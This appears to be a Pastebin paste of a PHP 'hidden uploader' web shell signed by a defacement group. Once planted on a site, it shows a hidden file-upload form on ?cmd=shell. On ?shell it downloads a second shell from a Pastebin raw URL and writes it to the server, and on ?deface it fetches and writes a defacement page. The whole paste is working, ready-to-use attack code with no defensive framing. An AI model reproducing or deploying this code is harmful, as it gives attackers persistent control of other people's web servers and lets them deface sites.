Advertisement
Ribang

hidden uploader GET SHELL

Apr 24th, 2019
977
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.72 KB | None | 0 0
  1. <?php
  2. // hiden shell upload
  3. // akses file.php?cmd=shell
  4.  error_reporting(0);
  5.  $cmd  = $_GET['cmd'];
  6.  $post  = $_POST["upload"];
  7.  $target_file= basename($_FILES["m_upload"]["name"]);
  8.  if($cmd=='shell')
  9.  {
  10. ?>
  11. <html>
  12. <head>
  13. <title>FirewalL21</title>
  14. <meta name='author' content='0x1999'>
  15. <meta charset="UTF-8">
  16. <style type='text/css'>
  17. @import url(https://fonts.googleapis.com/css?family=Abel);
  18. html {
  19.     background: #000000;
  20.     color: #ffffff;
  21.     font-family: 'Abel';
  22.     font-size: 13px;
  23.     width: 100%;
  24. }
  25. </style>
  26. <center>
  27. <header>  
  28. <pre style="text-align: center"><font color="magenta">
  29.  ███████╗██╗██████╗ ███████╗██╗    ██╗ █████╗ ██╗     ██╗     ██████╗  ██╗
  30. ██╔════╝██║██╔══██╗██╔════╝██║    ██║██╔══██╗██║     ██║     ╚════██╗███║
  31. █████╗  ██║██████╔╝█████╗  ██║ █╗ ██║███████║██║     ██║      █████╔╝╚██║    
  32. ██╔══╝  ██║██╔══██╗██╔══╝  ██║███╗██║██╔══██║██║     ██║     ██╔═══╝  ██║
  33. ██║     ██║██║  ██║███████╗╚███╔███╔╝██║  ██║███████╗███████╗███████╗ ██║
  34. ╚═╝     ╚═╝╚═╝  ╚═╝╚══════╝ ╚══╝╚══╝ ╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝ ╚═╝
  35. </pre></header></head></html>
  36. <?php
  37.   echo "<form action='' method='post' enctype='multipart/form-data'>
  38. ";
  39.   echo "<input type='file' name='m_upload'>";
  40.   echo "<input type='submit' name='upload' value='Upload'>";
  41.   echo "</form>
  42. ";
  43.   echo "</center>
  44. ";
  45.  }
  46.  
  47.  if(isset($_POST["upload"]))
  48.   {
  49.    if(move_uploaded_file($_FILES["m_upload"]["tmp_name"], $target_file))
  50.   {
  51.    echo "<center>
  52. upload sukses !!</center>
  53. ";
  54.    header("location:$target_file");
  55.  }
  56. }
  57.  
  58.  
  59. if(isset($_GET["shell"])){
  60. $anak1 = file_get_contents("https://pastebin.com/raw/bBiCZAxB");
  61. $nggawe1 = fopen("actshellv2.php","w") or die ("gabisa bro");
  62. fwrite($nggawe1,$anak1);
  63. fclose($nggawe1);
  64. header ("Location:actshellv2.php");
  65. chmod("actshellv2.php",0644);}
  66. //////////////////////////////
  67. if(isset($_GET["deface"])){
  68. $anak = file_get_contents("https://pastebin.com/raw/HymYrpHG");
  69. $nggawe = fopen("firewall21.htm","w") or die ("gabisa bro");
  70. fwrite($nggawe,$anak);
  71. fclose($nggawe);
  72. header ("Location:firewall21.htm");}
  73. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement